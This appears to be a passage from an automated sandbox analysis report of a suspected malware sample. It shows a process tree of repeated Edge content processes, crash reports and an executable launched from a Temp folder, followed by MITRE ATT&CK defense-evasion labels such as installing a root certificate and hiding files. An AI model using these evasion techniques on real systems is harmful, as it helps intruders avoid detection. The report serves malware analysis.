C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4672
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8476
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 8476 -s 30442⤵
- Program crash
PID:1108
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6592
-
C:\Users\Admin\AppData\Local\Temp\64E1.exeC:\Users\Admin\AppData\Local\Temp\64E1.exe1⤵PID:6764
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8392
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 8392 -s 30762⤵
- Program crash
PID:2672
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:1060
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8328
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 8328 -s 13202⤵
- Program crash
PID:8472
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6232
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6560
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:2748
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5844
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2272
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
Hidden Files and Directories
1Install Root Certificate
1Modify Registry
3Web Service
1